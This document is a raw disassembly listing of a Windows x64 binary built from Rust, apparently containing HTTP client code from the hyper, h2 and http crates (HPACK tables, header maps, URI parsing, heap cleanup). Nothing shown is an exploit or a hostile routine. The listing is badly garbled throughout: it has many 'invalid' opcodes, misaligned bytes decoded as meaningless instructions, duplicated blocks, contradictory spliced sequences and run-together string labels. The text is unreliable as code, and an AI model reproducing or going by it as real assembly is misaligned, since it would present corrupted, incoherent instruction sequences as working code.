test rdi, rdi
je 0x14001b939
mov rax, qword [rsp + 0x450]
lock dec qword [rax]
jne 0x14001b939
mov rcx, qword [rsp + 0x450]
mov rdx, qword [rsp + 0x458]
call case.0x14009a20c.177
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
test sil, 1
jne 0x14001b957
lea rdx, [0x14016a948]
jmp 0x14001b9cd
shr rsi, 5
sub rcx, rsi
add rax, rsi
mov rdx, qword [rsp + 0x68]
add rdx, rsi
mov qword [rsp + 0x470], rdx
mov qword [rsp + 0x478], rcx
mov qword [rsp + 0x480], rax
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x470]
call fcn.140008100
mov qword [rsp + 0x298], rsi
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
sub rax, rsi
jb 0x14001bc55
mov rcx, rsi
add rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xc8]
mov r8, qword [rsp + 0x4d0]
mov qword [r8], rdx
mov qword [r8 + 8], rcx
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rsi
add rsp, 0x5d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r13, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je case.0x140016398.420
jmp 0x140018659
mov r14, rbx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140018849
jmp 0x140018830
mov r14, rsi
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x140018830
jmp 0x140018849
lea rax, [rsp + 0x80]
mov qword [rsp + 0x120], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a0], eax
mov dword [rsp + 0x1a0], eax
mov qword [rsp + 0x1a8], 2
mov qword [rsp + 0x1c0], 0
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1404a0
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1404a0
lea rcx, [rsp + 0x1a0]
call fcn.1401224d0
push 0x10
invalid
push 0x10
add byte [rax - 0x73], cl
or eax, 0x140524
lea rcx, str.Out_of_bounds_access
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140122a20
lea rcx, str.encoding_header_without_name__but_no_previous_index_to_use_for_nameC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackencoder.rs
lea r8, [0x140132300]
mov edx, 0x43
add byte [rax], al
add byte [rax], al
call fcn.140122c90
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r14
int1
mov rdx, rsi
call fcn.140122580
lea rcx, str.Out_of_bounds_access
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140122a20
lea rcx, str.Out_of_bounds_access
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
nop
adc al, byte [rax]
mov edx, 0x14
call fcn.140122a20
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x1a0], rax
add byte [rax - 0x73], cl
add eax, 0xfffecf56
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x1b0], rcx
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1403ba
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1403ba
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 2
mov qword [rsp + 0x318], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x310], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x2f8]
call fcn.1401224d0
lea rcx, str.Out_of_bounds_access
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140122a20
cmp ch, byte [rsi + 0x10]
invalid
cmp ch, byte [rsi + 0x10]
add byte [rax - 0x73], cl
or eax, 0x140403
lea rcx, str.Out_of_bounds_access
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140122a20
lea rcx, str.cannot_resolve_index
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.140122c90
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rcx, rsi
call fcn.140122510
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x140132358]
mov edx, 0x28
call fcn.140122660
lea rcx, str.assertion_failed:__header.is_sensitive__
lea r8, [0x140132340]
mov edx, 0x28
call fcn.140122660
mov qword [rsp + 0x120], rcx
lea rax, [rsp + 0x298]
mov qword [rsp + 0x1a0], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x1a8], rax
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x1b0], rcx
mov qword [rsp + 0x1b8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 2
mov qword [rsp + 0x318], 0
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x310], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x2f8]
call fcn.1401224d0
lea r8, [0x140146058]
mov rcx, rdx
mov edx, 0xf
call fcn.1401225f0
lea r8, [0x140146058]
mov edx, 0xf
mov rcx, rbx
call fcn.1401225f0
lea rax, [0x140146058]
mov edx, 0xf
mov rcx, r8
mov r8, rax
call fcn.1401225f0
int3
lea rcx, [rsp + 0xf0]
call fcn.140012dd0
cmp qword [rdi + 0x50], 0
je 0x14001f265
mov r8, qword [rdi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rdi + 0x20]
mov r13, qword [rdi + 0x28]
test r13, r13
mov ebp, r14d
je 0x14001f2b5
lea r14, [rbx + 0x30]
jmp 0x14001f29b
mov rax, qword [r14 - 0x18]
mov rdx, qword [r14 - 0x10]
mov r8, qword [r14 - 8]
mov rcx, r14
call qword [rax + 0x10]
add r14, 0x68
dec r13
je 0x14001f2b5
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x14001f280
lea rcx, [r14 + 0x28]
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
call qword [rax + 0x10]
jmp 0x14001f280
cmp qword [rdi + 0x18], 0
je 0x14001f2ce
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rdi + 0x38]
mov r13, qword [rdi + 0x40]
test r13, r13
je 0x14001f2fb
lea r14, [rbx + 0x38]
nop
mov rax, qword [r14 - 0x18]
mov rdx, qword [r14 - 0x10]
mov r8, qword [r14 - 8]
mov rcx, r14
call qword [rax + 0x10]
add r14, 0x48
dec r13
jne 0x14001f2e0
cmp qword [rdi + 0x30], 0
je 0x14001f314
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [rsi]
cmp al, 0xb
je 0x14001f340
cmp al, 0xa
jb 0x14001f340
cmp byte [rsp + 0x22], 0xb
jne 0x14001f340
cmp qword [rsi + 0x10], 0
je 0x14001f340
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
add byte [rcx], dh
sar bh, cl
adc eax, 0x110100
add byte [rcx], dh
sar bh, cl
adc eax, 0x110100
mov rax, qword [rsi + 0x18]
test rax, rax
setne cl
test r15b, cl
je 0x14001f35e
lea rcx, [rsi + 0x30]
mov rdx, qword [rsi + 0x20]
push rsi
and byte [rbx + rcx*4 + 0x46], cl
sub bh, bh
push rax
invalid
push rsi
and byte [rbx + rcx*4 + 0x46], cl
sub bh, bh
push rax
adc byte [rax - 0x75], cl
cmp byte [rax - 0x7b], r9b
ror byte [rdi], 0x95
rol dword [rax - 0x7c], 0xe9
mov rax, qword [rsi + 0x38]
test rax, rax
setne cl
test cl, bpl
je 0x14001f37c
lea rcx, [rsi + 0x50]
mov rdx, qword [rsi + 0x40]
mov r8, qword [rsi + 0x48]
call qword [rax + 0x10]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x58]
test rax, rax
setne cl
test r12b, cl
je 0x14001f39a
lea rcx, [rsi + 0x70]
mov rdx, qword [rsi + 0x60]
mov r8, qword [rsi + 0x68]
invalid
invalid
call qword [rax + 0x10]
push 0x481050ff
mov eax, dword [rsi + 0x78]
mov rax, qword [rsi + 0x78]
test rax, rax
setne cl
test byte [rsp + 0x23], cl
je 0x14001f3c2
lea rcx, [rsi + 0x90]
mov rdx, qword [rsi + 0x80]
mov r8, qword [rsi + 0x88]
call qword [rax + 0x10]
nop
add rsp, 0x428
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add eax, dword [rax]
add byte [rcx + rcx*4 - 6], cl
call qword [rax]
movups xmm0, xmmword [rsp + 0x3a0]
movdqu xmm1, xmmword [rsp + 0x3b0]
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1e0], xmm1
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x1d0], 0
test rax, rax
je 0x14001fdff
mov qword [rsp + 0x2c0], rax
movdqu xmm0, xmmword [rsp + 0x3a8]
movdqu xmmword [rsp + 0x2c8], xmm0
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp*8], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add al, byte [rax]
add al, ch
xchg ecx, eax
cmp eax, 0x8b480000
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x14001f4f7
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp*8], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add al, byte [rax]
add al, ch
xchg ecx, eax
cmp eax, 0x8b480000
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rbx + rbx + 0x48], 0x8d
mov word [rax + rbp*8], fs
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xd8
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xe0
add dword [rax], eax
add bh, bh
push rax
adc byte [rax - 0x75], cl
pushfq
and al, 0xe8
add eax, dword [rax]
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rcx + rax - 0x76b40000], dl
je 0x14001f530
lea rcx, [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
call qword [rax + 0x10]
mov rbx, qword [rsp + 0x3e8]
test rbx, rbx
je 0x14001f69c
mov qword [rsp + 0x50], r14
push rax
lea r14, [rsp + 0x3ec]
mov rax, qword [rsp + 0x80]
test rax, rax
je 0x14001f53d
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
add byte [rax], al
mov r8, qword [rsp + 0x90]
call qword [rax + 0x10]
mov dword [rsp + 0x80], ebx
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0xc]
movdqu xmmword [rsp + 0x84], xmm0
movdqu xmmword [rsp + 0x90], xmm1
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
mov rcx, r15
call qword [rax + 0x10]
xor ebx, ebx
jmp 0x14001f58a
lea r14, [rsi + 0x18]
mov r10, qword [rsi + 0x18]
test r10, r10
sete r15b
je 0x14001f62f
test r12, r12
setne al
cmp bpl, 7
setne cl
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsp + 0x1e0], xmm1
movdqa xmmword [rsp + 0x1d0], xmm0
or cl, al
je 0x14001f668
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
cmp r8, 5
je 0x14001f75a
cmp r8, 4
jne 0x14001f788
cmp byte [rdx], 0x68
jne 0x14001f78e
cmp byte [rdx + 1], 0x74
jne 0x14001f78e
cmp byte [rdx + 2], 0x74
jne 0x14001f78e
cmp byte [rdx + 3], 0x70
jne 0x14001f78e
mov dword [rsp + 0x28], ebx
mov cl, 1
mov dword [rsp + 0x30], 0
jmp 0x14001f97d
test r12, r12
setne al
cmp bpl, 7
setne cl
or cl, al
je 0x14001f6e6
mov word [r13 + 8], 0x100
mov eax, dword [rsp + 0x24]
mov dword [r13 + 0xc], eax
mov dword [r13 + 0x10], 1
mov qword [r13], 3
mov r12b, 1
jmp 0x14001f6de
mov word [r13 + 8], 0x100
mov eax, dword [rsp + 0x24]
mov dword [r13 + 0xc], eax
mov dword [r13 + 0x10], 1
mov qword [r13], 3
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
jmp 0x14001f7e0
mov word [r13 + 8], 0x100
mov eax, dword [rsp + 0x24]
mov dword [r13 + 0xc], eax
mov dword [r13 + 0x10], 1
mov qword [r13], 3
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
mov r8, qword [rsp + 0xe0]
mov rcx, r15
call qword [rax + 0x10]
mov r12b, 1
xor ebx, ebx
mov r15b, 1
jmp 0x14001f7f9
invalid
add byte [rax - 0x7d], cl
jle 0x14001f742
cmp qword [rsi + 0x58], 0
je 0x14001f9c2
add byte [rdi], cl
test cl, dl
add al, byte [rax]
add byte [rax - 0x73], cl
pop rax
lea rax, [rsi + 0x58]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x2d0], xmm1
movdqa xmmword [rsp + 0x2c0], xmm0
mov word [r13 + 8], 0x100
mov eax, dword [rsp + 0x24]
mov dword [r13 + 0xc], eax
mov dword [r13 + 0x10], 1
add byte [rax], al
add byte [rax], al
mov qword [r13], 3
lea rcx, [rsp + 0x2d8]
mov rax, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
mov r8, qword [rsp + 0x2d0]
call qword [rax + 0x10]
xor r12d, r12d
jmp 0x14001f7f9
and al, 0xc8
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xd0
add al, byte [rax]
add bh, bh
push rax
adc byte [rbp + 0x31], al
in al, 0xe9
lahf
add byte [rax], al
add byte [rax + 0x2f75683a], al
cmp byte [rdx], 0x68
jne 0x14001f78e
cmp byte [rdx + 1], 0x74
jne 0x14001f78e
cmp byte [rdx + 2], 0x74
jne 0x14001f78e
cmp byte [rdx + 3], 0x70
jne 0x14001f78e
cmp byte [rdx + 4], 0x73
jne 0x14001f78e
mov dword [rsp + 0x28], ebx
mov al, 1
mov dword [rsp + 0x30], eax
mov cl, 1
jmp 0x14001f97d
cmp r8, 0x40
ja 0x14001f7c1
xor eax, eax
lea rcx, [0x140145dd0]
nop word [rax + rax]
cmp r8, rax
je 0x14001f925
movzx r9d, byte [rdx + rax]
movzx r9d, byte [r9 + rcx]
test r9d, r9d
je 0x14001f7c1
inc rax
cmp r9d, 0x3a
jne 0x14001f7a0
mov eax, dword [rsp + 0x24]
mov dword [r13 + 0xc], eax
mov word [r13 + 8], 0x100
add byte [rcx], al
add byte [rcx], al
mov dword [r13 + 0x10], 1
mov qword [r13], 3
mov rax, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1e8]
call qword [rax + 0x10]
mov r12b, 1
xor r15d, r15d
cmp byte [rsp + 0x70], 2
jne 0x14001f82d
mov ebp, ebx
mov rbx, qword [rsp + 0x78]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
mov ebx, ebp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x80]
test rax, rax
invalid
je 0x14001f855
sal byte [rbx + rbx + 0x48], 0x8d
mov word [rax + rbx*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x90
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x77], al
fimul word [rax - 0x75]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rbx + 0x48], 0x8d
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xb0
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x7d], cl
mov esp, 0xf024
add byte [rbx], al
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [rax + 0x10]
mov r14d, ebx
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14001f880
lea rcx, [rsp + 0xb8]
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
call qword [rax + 0x10]
cmp qword [rsp + 0xf0], 3
jne 0x14001f23e
jmp 0x14001f24b
mov qword [rsp + 0x38], r10
mov dword [rsp + 0x28], ebx
lea rcx, [rsp + 0x2c0]
call fcn.140007d10
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14001fdf0
movdqu xmm0, xmmword [rsp + 0x2c0]
movdqu xmm1, xmmword [rsp + 0x2d0]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov cl, 2
mov dword [rsp + 0x30], edx
mov r10, qword [rsp + 0x38]
mov qword [rsp + 0x38], r10
cmp qword [rsp + 0x80], 0
je 0x14001f9d4
mov byte [rsp + 0x48], cl
movzx ecx, byte [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rbx, rax
call fcn.14001fe10
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x30]
mov byte [rsp + 0x71], al
mov word [rsp + 0x72], 0
mov qword [rsp + 0x78], rbx
jmp 0x14001f9dc
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x30], r12
mov r12b, 1
jmp 0x14001fb95
mov rdx, rax
call fcn.14001fe60
mov ebx, dword [rsp + 0x28]
lea rcx, [rsp + 0x1e8]
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
call qword [rax + 0x10]
cmp qword [rsi + 0x58], 0
je 0x14001fb78
lea rax, [rsi + 0x58]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x2d0], xmm1
movdqa xmmword [rsp + 0x2c0], xmm0
mov r9, qword [rsp + 0x2d0]
test r9, r9
je 0x14001f710
mov ebp, ebx
lea rdx, [rsp + 0x2d8]
mov rax, qword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2c8]
lea rbx, [rsp + 0x408]
mov rcx, rbx
call qword [rax]
lea rcx, [rsp + 0x298]
mov rdx, rbx
call fcn.14001feb0
mov rbx, qword [rsp + 0x298]
test rbx, rbx
je 0x14001fdb6
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x30], r12
mov r12d, ebx
shr r12d, 8
mov r13d, ebx
shr r13d, 0x10
mov rbp, rbx
shr rbp, 0x20
mov edx, dword [rsp + 0x2a0]
lea rcx, [rsp + 0x2a4]
movups xmm0, xmmword [rsp + 0x2a4]
movaps xmmword [rsp + 0x3c0], xmm0
movups xmm0, xmmword [rsp + 0x2b0]
movups xmmword [rsp + 0x3cc], xmm0
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14001fb0b
lea rcx, [rsp + 0xb8]
mov dword [rsp + 0x48], edx
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
call qword [rax + 0x10]
mov edx, dword [rsp + 0x48]
lea rcx, [rsp + 0x2a4]
mov byte [rsp + 0xa0], bl
mov byte [rsp + 0xa1], r12b
mov word [rsp + 0xa2], r13w
mov dword [rsp + 0xa4], ebp
mov dword [rsp + 0xa8], edx
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0xc]
movdqu xmmword [rsp + 0xac], xmm0
movdqu xmmword [rsp + 0xb8], xmm1
mov rax, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
mov r8, qword [rsp + 0x2d0]
lea rcx, [rsp + 0x2d8]
call qword [rax + 0x10]
xor r12d, r12d
mov ebx, dword [rsp + 0x28]
jmp 0x14001fb95
mov qword [rsp + 0x30], r12
test r12, r12
sete al
cmp bpl, 7
setne cl
or cl, al
mov r12b, 1
je 0x14001fd91
lea r13, [rsp + 0x2c0]
lea rbp, [rsp + 0xf0]
mov r8d, 0xe0
mov rcx, r13
mov rdx, rbp
call fcn.140121660
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x220], rax
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x210], xmm0
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmm1, xmmword [rsp + 0x80]
movdqu xmm2, xmmword [rsp + 0x90]
movdqu xmm3, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x200], xmm3
movdqa xmmword [rsp + 0x1f0], xmm2
movdqa xmmword [rsp + 0x1e0], xmm1
movdqa xmmword [rsp + 0x1d0], xmm0
lea r8, [rsp + 0x1d0]
mov rcx, rbp
mov rdx, r13
call fcn.140021b70
mov r13, qword [rsp + 0xf0]
cmp r13, 3
jne 0x14001fc64
mov r14d, ebx
mov rax, qword [rsp + 0x40]
mov word [rax + 8], 0x100
mov ecx, dword [rsp + 0x24]
mov dword [rax + 0xc], ecx
mov dword [rax + 0x10], 1
mov qword [rax], 3
jmp 0x14001f24b
mov ebp, ebx
cmp qword [rsp + 0x38], 0
sete bl
movzx r15d, word [rsp + 0xf8]
lea rcx, [rsp + 0x2ca]
mov r8d, 0xd6
lea rdx, [rsp + 0xfa]
call fcn.140121660
mov qword [rsp + 0x2c0], r13
mov word [rsp + 0x2c8], r15w
lea r15, [rsp + 0x2c0]
mov rcx, r15
call fcn.14001fef0
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0x310], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x300], xmm0
movdqu xmm0, xmmword [rdi]
movdqu xmm1, xmmword [rdi + 0x10]
movdqu xmm2, xmmword [rdi + 0x20]
movdqu xmm3, xmmword [rdi + 0x30]
movdqa xmmword [rsp + 0x2f0], xmm3
movdqa xmmword [rsp + 0x2e0], xmm2
movdqa xmmword [rsp + 0x2d0], xmm1
movdqa xmmword [rsp + 0x2c0], xmm0
mov r8d, 0xe0
mov rcx, qword [rsp + 0x40]
mov rdx, r15
call fcn.140121660
mov rax, qword [r14]
test rax, rax
ror byte [rdi], 0x95
invalid
test cl, bl
je 0x14001fd32
lea rcx, [rsi + 0x30]
mov rdx, qword [rsi + 0x20]
mov r8, qword [rsi + 0x28]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
test rax, rax
je 0x14001fd53
test bpl, bpl
je 0x14001fd53
lea rcx, [rsi + 0x50]
mov rdx, qword [rsi + 0x40]
mov r8, qword [rsi + 0x48]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x58]
test rax, rax
setne cl
xchg ebp, eax
rol dword [rcx - 0x7c], 0xcc
je 0x14001fd71
lea rcx, [rsi + 0x70]
mov rdx, qword [rsi + 0x60]
mov r8, qword [rsi + 0x68]
call qword [rax + 0x10]
cmp qword [rsp + 0x30], 0
sete cl
ror dword [rax - 0x75], 0x46
js 0x14001fdc7
test eax, eax
setne dl
test cl, dl
jne 0x14001f3aa
jmp 0x14001f3c2
mov rax, qword [rsp + 0x40]
mov word [rax + 8], 0x100
mov ecx, dword [rsp + 0x24]
mov dword [rax + 0xc], ecx
mov dword [rax + 0x10], 1
mov qword [rax], 3
jmp 0x14001f7f3
mov word [r13 + 8], 0x100
mov eax, dword [rsp + 0x24]
mov dword [r13 + 0xc], eax
mov dword [r13 + 0x10], 1
movaps xmm0, xmmword [rsp + 0x3c0]
movups xmmword [r13 + 0x14], xmm0
movdqu xmm0, xmmword [rsp + 0x3cc]
movdqu xmmword [r13 + 0x20], xmm0
mov ebx, ebp
jmp 0x14001f727
mov ecx, 8
mov edx, 0x20
call fcn.140122190
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_authority.rs
call fcn.140122a00
int3
test rax, rax
je 0x14001fee3
mov qword [rsp + 0x28], rax
movups xmm0, xmmword [rdx + 8]
movups xmmword [rsp + 0x30], xmm0
mov rax, qword [rdx + 0x18]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x28]
push rsp
and al, 0x28
call fcn.140026240
nop
add rsp, 0x48
ret
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
call fcn.140122a00
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x77], cl
invalid
cmp qword [rcx + 0x50], 0
je 0x14001ff16
in al, dx
sub byte [rax - 0x77], cl
invalid
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmc
adc byte [rax], al
invalid
cmc
adc byte [rax], al
invalid
add byte [rax - 0x75], cl
jle 0x14001ff3a
mov rdi, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
test r14, r14
je 0x14001ff65
lea rbx, [rdi + 0x30]
jmp case.0x14001b078.66
add byte [rax - 0x75], cl
call 0x130558a80
mov eax, dword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
clc
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
add ebx, 0x68
add ebx, 0x68
dec r14
je 0x14001ff65
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14001ff30
adc byte [r8 - 0x7b], cl
sal byte [rsp + rbx*8 + 0x48], 0x8d
sub byte [r8 - 0x75], cl
push rbx
sbb byte [rbx + rcx*4 + 0x43], cl
and bh, bh
push rax
adc bl, ch
retf
cmp qword [rsi + 0x18], 0
je 0x14001ff7e
mov rcx, qword [0x14019f258]
in eax, 0xf2
invalid
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x38]
mov r14, qword [rsi + 0x40]
test r14, r14
je 0x14001ffab
lea rbx, [rdi + 0x38]
nop
pop rdi
cmp byte [rax - 0x17bc74b8], dl
invalid
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov edx, dword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec r14
jne 0x14001ff90
cmp qword [rsi + 0x30], 0
je 0x14001ffce
invalid
